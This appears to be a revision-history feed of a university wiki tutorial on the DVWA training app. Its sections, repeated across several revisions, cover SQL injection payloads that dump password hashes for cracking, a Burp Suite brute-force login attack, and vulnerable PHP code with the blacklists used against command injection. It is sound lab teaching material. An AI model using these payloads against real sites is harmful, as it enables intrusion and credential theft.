This is an alternative way of setting up the DVWA, which is sometimes more reliable than the first one. It requires creating a VM with a DVWA iso file, like you would do with any other VM. You just need to choose the correct ISO during setup. It can be downloaded here: https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/. Once the DVWA VM is running, you can access it in the browser of another VM via: http://&amp;lt;IP_DVWA_VM&amp;gt;/login.php. You just need to choose NAT as network setting on both used VMs, so that they aren&#039;t exposed to the actual network. Exposing the DVWA to the network is very dangerous, as this is in fact a very vulnerable server. Should it get compromised from outside, the attacker would gain access to your home network.&lt;br /&gt;
&lt;br /&gt;
== SQL injection ==&lt;br /&gt;
&lt;br /&gt;
Let&#039;s look at the SQL injection vulnerability.&lt;br /&gt;
* In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA search.PNG|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When we enter &amp;quot;1&amp;quot; in the search field, the query being sent to the database really looks like this:&lt;br /&gt;
 $query  = &amp;quot;SELECT first_name, last_name FROM users WHERE user_id = &#039;$id&#039;;&amp;quot;;&lt;br /&gt;
 $query  = &amp;quot;SELECT first_name, last_name FROM users WHERE user_id = 1;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
* If we enter &amp;quot;1&#039;&amp;quot; in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable to error-based SQL injection. This means we can send commands (queries) to the database to extract some information. The displayed error message is:&lt;br /&gt;
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#039;&#039;1&#039;&#039;&#039; at line 1&lt;br /&gt;
&lt;br /&gt;
* Next we can try executing an always true query. The example SQL code would look like this:&lt;br /&gt;
 SELECT first_name, last_name FROM users WHERE user_id = &#039;a&#039; OR &#039;1&#039;=&#039;1&#039;&lt;br /&gt;
&lt;br /&gt;
* When we enter &amp;lt;b&amp;gt;a’ or ‘1’=‘1&amp;lt;/b&amp;gt; in the ID field, sending an always-true query, we get all users with their first and last names from the database.&lt;br /&gt;
[[File:True1.PNG|thumb|none|250px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* For union-based SQLi we need to know the number of columns in a table to be able to execute an UNION query. To find this, we enter &amp;lt;b&amp;gt;1&#039; order by 9#&amp;lt;/b&amp;gt; to try if the table has 9 columns. This returns an error, meaning we need to lower the number until we get an actual result. After several tires, DVWA returns actual contents when entering number 2. This means, our table of users has 2 columns.&lt;br /&gt;
&lt;br /&gt;
* Next we can try the union-based SQLi. We start with entering &amp;lt;b&amp;gt;1&#039; union select 1,2 #&amp;lt;/b&amp;gt;, which will simply return the numbers 1 and 2 in a certain spot. This spot is where we can then extract whatever information is desired. The hashtag # comments out anything that comes after, simply making sure nothing interferes with the query.&lt;br /&gt;
[[File:Union4.PNG|thumb|none|250px]]&lt;br /&gt;
&lt;br /&gt;
* We can try entering the following in the ID field: &amp;lt;b&amp;gt;1&#039; union select database(),user() #&amp;lt;/b&amp;gt;, which returns the database name and current user in the same position.&lt;br /&gt;
[[File:Union5.PNG|thumb|none|300px]]&lt;br /&gt;
&lt;br /&gt;
* Now that we know the database name, we can extract the tables in this database by &amp;lt;b&amp;gt;1&#039; union select table_name,2 from information_schema.tables where table_schema=&#039;dvwa&#039; #&amp;lt;/b&amp;gt;. This returns the following:&lt;br /&gt;
[[File:Union6.PNG|thumb|none|700px]]&lt;br /&gt;
&lt;br /&gt;
* This tells us there are two tables in the database - users and guestbook. Here we utilize INFORMATION_SCHEMA, which provides metadata about our database.&lt;br /&gt;
&lt;br /&gt;
* Now we can discover what columns exist in the table &amp;quot;users&amp;quot;. We enter the query &amp;lt;b&amp;gt;1&#039; union select column_name,2 from information_schema.columns where table_name=&#039;users&#039; #&amp;lt;/b&amp;gt;, which results into the following:&lt;br /&gt;
[[File:Union7.PNG|thumb|none|700px]]&lt;br /&gt;
&lt;br /&gt;
* Knowing the names of the columns now allows us to extract the specific values from them. Let&#039;s look at all usernames and passwords from the table &amp;quot;users&amp;quot;. We do this with the query &amp;lt;b&amp;gt;1&#039; union select user,password from users #&amp;lt;/b&amp;gt;:&lt;br /&gt;
[[File:Union8.PNG|thumb|none|350px]]&lt;br /&gt;
&lt;br /&gt;
* Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper). For this we can collect the usernames and passwords in one file like so and run Jack:&lt;br /&gt;
[[File:John pass hash.PNG|thumb|none|600px]]&lt;br /&gt;
&lt;br /&gt;
* Now we have extracted the passwords with usernames and are therefore able to penetrate the database. In a real web application setting, this is extremely dangerous to know the admin user, as this would allow the attacker to do practically anything.&lt;br /&gt;
&lt;br /&gt;
== Brute force ==&lt;br /&gt;
For this attack, we will be using a Kali Linux machine with BurpSuite and Hydra. With the proxy we will be intercepting traffic between the DVWA and BurpSuite&#039;s browser. First, let&#039;s select low security in the DVWA and head to the &amp;quot;Brute Force&amp;quot; navigation tab. Here, we see a login form with a username and password. We will enter some test data and look at the request in BurpSuite:&lt;br /&gt;
 username: username&lt;br /&gt;
 password: password&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa1.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Now, click on &amp;quot;Send to Intruder&amp;quot; and change to the &amp;lt;i&amp;gt;Intruder&amp;lt;/i&amp;gt; tab in BurpSuite. Now click on Positions, and for &amp;lt;b&amp;gt;Attack type&amp;lt;/b&amp;gt; choose &amp;quot;Cluster bomb&amp;quot;. Click on &amp;quot;Clear §&amp;quot; on the right and then select the entered username and password values and click &amp;quot;Add §&amp;quot; on the right.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa2.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Now go to the &amp;lt;i&amp;gt;Payloads&amp;lt;/i&amp;gt; tab to &amp;quot;Payload options&amp;quot; and load the wordlist &amp;lt;i&amp;gt;/usr/share/wordlists/metasploit/http_default_users.txt&amp;lt;/i&amp;gt;. Scroll up to &amp;quot;Payload Sets&amp;quot; and select &amp;lt;b&amp;gt;2&amp;lt;/b&amp;gt;. Now go to &amp;quot;Payload options&amp;quot; again and load a second wordlist &amp;lt;i&amp;gt;/usr/share/wordlists/metasploit/http_default_pass.txt&amp;lt;/i&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Now, go to the &amp;lt;i&amp;gt;Options&amp;lt;/i&amp;gt; tab (still inside the Intruder) and clear the Grep-Match list. Then enter &amp;quot;&amp;lt;b&amp;gt;Username and/or password incorrect.&amp;lt;/b&amp;gt;&amp;quot;, which is exactly what the DVWA outputs on this login page in the case of an incorrect login attempt, and add it to the Grep-Match list. Scroll up and &amp;lt;b&amp;gt;Start attack&amp;lt;/b&amp;gt;. We are looking for entries with the unchecked &amp;quot;username&amp;quot; column. The output should look something like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa3.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
In our case this is&lt;br /&gt;
 username: admin&lt;br /&gt;
 password: password&lt;br /&gt;
After entering in to the login form, we are successfully logged in and get the message:&lt;br /&gt;
 Welcome to the password protected area admin&lt;br /&gt;
&lt;br /&gt;
== Command execution ==&lt;br /&gt;
The command execution vulnerability occurs when the application allows the execution of system commands. It can be very dangerous depending on the type of command and its impact on the system. Let&#039;s demonstrate this with a simple &amp;lt;b&amp;gt;ECHO&amp;lt;/b&amp;gt; command (keep in mind, this is a PHP application).&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa5.png|thumb|none|500px|Medium and low security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa4.png|thumb|none|500px|High security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
We can see the difference between the security levels, which is based on the source code of the DVWA: &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Low security level&amp;lt;/b&amp;gt;: no input validation&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 if( isset( $_POST[ &#039;Submit&#039; ]  ) ) {&lt;br /&gt;
        // Get input&lt;br /&gt;
        $target = $_REQUEST[ &#039;ip&#039; ];&lt;br /&gt;
 &lt;br /&gt;
        // Determine OS and execute the ping command.&lt;br /&gt;
        if( stristr( php_uname( &#039;s&#039; ), &#039;Windows NT&#039; ) ) {&lt;br /&gt;
                // Windows&lt;br /&gt;
                $cmd = shell_exec( &#039;ping  &#039; . $target );&lt;br /&gt;
        }&lt;br /&gt;
        else {&lt;br /&gt;
                // *nix&lt;br /&gt;
                $cmd = shell_exec( &#039;ping  -c 4 &#039; . $target );&lt;br /&gt;
        }&lt;br /&gt;
 &lt;br /&gt;
        // Feedback for the end user&lt;br /&gt;
        $html .= &amp;quot;&amp;amp;lt;pre&amp;amp;gt;{$cmd}&amp;amp;lt;/pre&amp;amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Medium security level&amp;lt;/b&amp;gt;: Here, the rest of the code looks like low level security, but has an added part for substituting &#039;&amp;amp;&amp;amp;&#039; and &#039;;&#039;.&amp;lt;br&amp;gt;&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
 $substitutions = array(&lt;br /&gt;
        &#039;&amp;amp;&amp;amp;&#039; =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;;&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
 );&lt;br /&gt;
 &lt;br /&gt;
 // Remove any of the charactars in the array (blacklist).&lt;br /&gt;
 $target = str_replace( array_keys( $substitutions ), $substitutions, $target );&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;High security level&amp;lt;/b&amp;gt;: The &amp;quot;substitutions&amp;quot; array contents way more characters, also including the pipe | character. This is why the DVWA reacted as it did in the previously shown examples.&amp;lt;br&amp;gt;&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
 $substitutions = array(&lt;br /&gt;
        &#039;&amp;amp;&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;;&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;| &#039; =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;-&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;$&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;(&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;)&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;`&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;||&#039; =&amp;gt; &#039;&#039;,&lt;br /&gt;
 );&lt;br /&gt;
Now we will perform a series of information gathering commands as demonstrated below.&lt;br /&gt;
&lt;br /&gt;
== XSS ==&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=9722</id>
		<title>DVWA</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=9722"/>
		<updated>2022-01-30T17:19:14Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Command execution */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web service [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]]. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.&lt;br /&gt;
[[File:DVWA architecture.png|thumb|none|500px]]&lt;br /&gt;
&lt;br /&gt;
== Installation (1) ==&lt;br /&gt;
&lt;br /&gt;
The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:&amp;lt;/br&amp;gt;&lt;br /&gt;
*The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA official Website.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.&amp;lt;/br&amp;gt;&lt;br /&gt;
*The password is deleted from the configuration file “config.inc.php.dist”.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA configfile.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*/localhost/dvwa is called by the browser, which leads you to the login.&lt;br /&gt;
**Username is “admin” &lt;br /&gt;
**Password is “password”&lt;br /&gt;
*Now you are logged in and ready to work with DVWA.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA installed and ready to use.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;: Before you start, the database should be set or reset.&lt;br /&gt;
&lt;br /&gt;
== Installation (2) ==&lt;br /&gt;
&lt;br /&gt;
This is an alternative way of setting up the DVWA, which is sometimes more reliable than the first one. It requires creating a VM with a DVWA iso file, like you would do with any other VM. You just need to choose the correct ISO during setup. It can be downloaded here: https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/. Once the DVWA VM is running, you can access it in the browser of another VM via: http://&amp;lt;IP_DVWA_VM&amp;gt;/login.php. You just need to choose NAT as network setting on both used VMs, so that they aren&#039;t exposed to the actual network. Exposing the DVWA to the network is very dangerous, as this is in fact a very vulnerable server. Should it get compromised from outside, the attacker would gain access to your home network.&lt;br /&gt;
&lt;br /&gt;
== SQL injection ==&lt;br /&gt;
&lt;br /&gt;
Let&#039;s look at the SQL injection vulnerability.&lt;br /&gt;
* In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA search.PNG|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When we enter &amp;quot;1&amp;quot; in the search field, the query being sent to the database really looks like this:&lt;br /&gt;
 $query  = &amp;quot;SELECT first_name, last_name FROM users WHERE user_id = &#039;$id&#039;;&amp;quot;;&lt;br /&gt;
 $query  = &amp;quot;SELECT first_name, last_name FROM users WHERE user_id = 1;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
* If we enter &amp;quot;1&#039;&amp;quot; in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable to error-based SQL injection. This means we can send commands (queries) to the database to extract some information. The displayed error message is:&lt;br /&gt;
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#039;&#039;1&#039;&#039;&#039; at line 1&lt;br /&gt;
&lt;br /&gt;
* Next we can try executing an always true query. The example SQL code would look like this:&lt;br /&gt;
 SELECT first_name, last_name FROM users WHERE user_id = &#039;a&#039; OR &#039;1&#039;=&#039;1&#039;&lt;br /&gt;
&lt;br /&gt;
* When we enter &amp;lt;b&amp;gt;a’ or ‘1’=‘1&amp;lt;/b&amp;gt; in the ID field, sending an always-true query, we get all users with their first and last names from the database.&lt;br /&gt;
[[File:True1.PNG|thumb|none|250px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* For union-based SQLi we need to know the number of columns in a table to be able to execute an UNION query. To find this, we enter &amp;lt;b&amp;gt;1&#039; order by 9#&amp;lt;/b&amp;gt; to try if the table has 9 columns. This returns an error, meaning we need to lower the number until we get an actual result. After several tires, DVWA returns actual contents when entering number 2. This means, our table of users has 2 columns.&lt;br /&gt;
&lt;br /&gt;
* Next we can try the union-based SQLi. We start with entering &amp;lt;b&amp;gt;1&#039; union select 1,2 #&amp;lt;/b&amp;gt;, which will simply return the numbers 1 and 2 in a certain spot. This spot is where we can then extract whatever information is desired. The hashtag # comments out anything that comes after, simply making sure nothing interferes with the query.&lt;br /&gt;
[[File:Union4.PNG|thumb|none|250px]]&lt;br /&gt;
&lt;br /&gt;
* We can try entering the following in the ID field: &amp;lt;b&amp;gt;1&#039; union select database(),user() #&amp;lt;/b&amp;gt;, which returns the database name and current user in the same position.&lt;br /&gt;
[[File:Union5.PNG|thumb|none|300px]]&lt;br /&gt;
&lt;br /&gt;
* Now that we know the database name, we can extract the tables in this database by &amp;lt;b&amp;gt;1&#039; union select table_name,2 from information_schema.tables where table_schema=&#039;dvwa&#039; #&amp;lt;/b&amp;gt;. This returns the following:&lt;br /&gt;
[[File:Union6.PNG|thumb|none|700px]]&lt;br /&gt;
&lt;br /&gt;
* This tells us there are two tables in the database - users and guestbook. Here we utilize INFORMATION_SCHEMA, which provides metadata about our database.&lt;br /&gt;
&lt;br /&gt;
* Now we can discover what columns exist in the table &amp;quot;users&amp;quot;. We enter the query &amp;lt;b&amp;gt;1&#039; union select column_name,2 from information_schema.columns where table_name=&#039;users&#039; #&amp;lt;/b&amp;gt;, which results into the following:&lt;br /&gt;
[[File:Union7.PNG|thumb|none|700px]]&lt;br /&gt;
&lt;br /&gt;
* Knowing the names of the columns now allows us to extract the specific values from them. Let&#039;s look at all usernames and passwords from the table &amp;quot;users&amp;quot;. We do this with the query &amp;lt;b&amp;gt;1&#039; union select user,password from users #&amp;lt;/b&amp;gt;:&lt;br /&gt;
[[File:Union8.PNG|thumb|none|350px]]&lt;br /&gt;
&lt;br /&gt;
* Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper). For this we can collect the usernames and passwords in one file like so and run Jack:&lt;br /&gt;
[[File:John pass hash.PNG|thumb|none|600px]]&lt;br /&gt;
&lt;br /&gt;
* Now we have extracted the passwords with usernames and are therefore able to penetrate the database. In a real web application setting, this is extremely dangerous to know the admin user, as this would allow the attacker to do practically anything.&lt;br /&gt;
&lt;br /&gt;
== Brute force ==&lt;br /&gt;
For this attack, we will be using a Kali Linux machine with BurpSuite and Hydra. With the proxy we will be intercepting traffic between the DVWA and BurpSuite&#039;s browser. First, let&#039;s select low security in the DVWA and head to the &amp;quot;Brute Force&amp;quot; navigation tab. Here, we see a login form with a username and password. We will enter some test data and look at the request in BurpSuite:&lt;br /&gt;
 username: username&lt;br /&gt;
 password: password&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa1.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Now, click on &amp;quot;Send to Intruder&amp;quot; and change to the &amp;lt;i&amp;gt;Intruder&amp;lt;/i&amp;gt; tab in BurpSuite. Now click on Positions, and for &amp;lt;b&amp;gt;Attack type&amp;lt;/b&amp;gt; choose &amp;quot;Cluster bomb&amp;quot;. Click on &amp;quot;Clear §&amp;quot; on the right and then select the entered username and password values and click &amp;quot;Add §&amp;quot; on the right.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa2.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Now go to the &amp;lt;i&amp;gt;Payloads&amp;lt;/i&amp;gt; tab to &amp;quot;Payload options&amp;quot; and load the wordlist &amp;lt;i&amp;gt;/usr/share/wordlists/metasploit/http_default_users.txt&amp;lt;/i&amp;gt;. Scroll up to &amp;quot;Payload Sets&amp;quot; and select &amp;lt;b&amp;gt;2&amp;lt;/b&amp;gt;. Now go to &amp;quot;Payload options&amp;quot; again and load a second wordlist &amp;lt;i&amp;gt;/usr/share/wordlists/metasploit/http_default_pass.txt&amp;lt;/i&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Now, go to the &amp;lt;i&amp;gt;Options&amp;lt;/i&amp;gt; tab (still inside the Intruder) and clear the Grep-Match list. Then enter &amp;quot;&amp;lt;b&amp;gt;Username and/or password incorrect.&amp;lt;/b&amp;gt;&amp;quot;, which is exactly what the DVWA outputs on this login page in the case of an incorrect login attempt, and add it to the Grep-Match list. Scroll up and &amp;lt;b&amp;gt;Start attack&amp;lt;/b&amp;gt;. We are looking for entries with the unchecked &amp;quot;username&amp;quot; column. The output should look something like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa3.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
In our case this is&lt;br /&gt;
 username: admin&lt;br /&gt;
 password: password&lt;br /&gt;
After entering in to the login form, we are successfully logged in and get the message:&lt;br /&gt;
 Welcome to the password protected area admin&lt;br /&gt;
&lt;br /&gt;
== Command execution ==&lt;br /&gt;
The command execution vulnerability occurs when the application allows the execution of system commands. It can be very dangerous depending on the type of command and its impact on the system. Let&#039;s demonstrate this with a simple &amp;lt;b&amp;gt;ECHO&amp;lt;/b&amp;gt; command (keep in mind, this is a PHP application).&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa5.png|thumb|none|500px|Medium and low security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa4.png|thumb|none|500px|High security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
We can see the difference between the security levels, which is based on the source code of the DVWA: &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Low security level&amp;lt;/b&amp;gt;: no input validation&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 if( isset( $_POST[ &#039;Submit&#039; ]  ) ) {&lt;br /&gt;
        // Get input&lt;br /&gt;
        $target = $_REQUEST[ &#039;ip&#039; ];&lt;br /&gt;
 &lt;br /&gt;
        // Determine OS and execute the ping command.&lt;br /&gt;
        if( stristr( php_uname( &#039;s&#039; ), &#039;Windows NT&#039; ) ) {&lt;br /&gt;
                // Windows&lt;br /&gt;
                $cmd = shell_exec( &#039;ping  &#039; . $target );&lt;br /&gt;
        }&lt;br /&gt;
        else {&lt;br /&gt;
                // *nix&lt;br /&gt;
                $cmd = shell_exec( &#039;ping  -c 4 &#039; . $target );&lt;br /&gt;
        }&lt;br /&gt;
 &lt;br /&gt;
        // Feedback for the end user&lt;br /&gt;
        $html .= &amp;quot;&amp;amp;lt;pre&amp;amp;gt;{$cmd}&amp;amp;lt;/pre&amp;amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Medium security level&amp;lt;/b&amp;gt;: Here, the rest of the code looks like low level security, but has an added part for substituting &#039;&amp;amp;&amp;amp;&#039; and &#039;;&#039;.&amp;lt;br&amp;gt;&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
 $substitutions = array(&lt;br /&gt;
        &#039;&amp;amp;&amp;amp;&#039; =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;;&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
 );&lt;br /&gt;
 &lt;br /&gt;
 // Remove any of the charactars in the array (blacklist).&lt;br /&gt;
 $target = str_replace( array_keys( $substitutions ), $substitutions, $target );&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;High security level&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Now we will perform a series of information gathering commands as demonstrated below.&lt;br /&gt;
&lt;br /&gt;
== XSS ==&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=9721</id>
		<title>DVWA</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=9721"/>
		<updated>2022-01-30T17:18:50Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Command execution */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web service [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]]. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.&lt;br /&gt;
[[File:DVWA architecture.png|thumb|none|500px]]&lt;br /&gt;
&lt;br /&gt;
== Installation (1) ==&lt;br /&gt;
&lt;br /&gt;
The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:&amp;lt;/br&amp;gt;&lt;br /&gt;
*The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA official Website.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.&amp;lt;/br&amp;gt;&lt;br /&gt;
*The password is deleted from the configuration file “config.inc.php.dist”.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA configfile.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*/localhost/dvwa is called by the browser, which leads you to the login.&lt;br /&gt;
**Username is “admin” &lt;br /&gt;
**Password is “password”&lt;br /&gt;
*Now you are logged in and ready to work with DVWA.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA installed and ready to use.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;: Before you start, the database should be set or reset.&lt;br /&gt;
&lt;br /&gt;
== Installation (2) ==&lt;br /&gt;
&lt;br /&gt;
This is an alternative way of setting up the DVWA, which is sometimes more reliable than the first one. It requires creating a VM with a DVWA iso file, like you would do with any other VM. You just need to choose the correct ISO during setup. It can be downloaded here: https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/. Once the DVWA VM is running, you can access it in the browser of another VM via: http://&amp;lt;IP_DVWA_VM&amp;gt;/login.php. You just need to choose NAT as network setting on both used VMs, so that they aren&#039;t exposed to the actual network. Exposing the DVWA to the network is very dangerous, as this is in fact a very vulnerable server. Should it get compromised from outside, the attacker would gain access to your home network.&lt;br /&gt;
&lt;br /&gt;
== SQL injection ==&lt;br /&gt;
&lt;br /&gt;
Let&#039;s look at the SQL injection vulnerability.&lt;br /&gt;
* In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA search.PNG|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
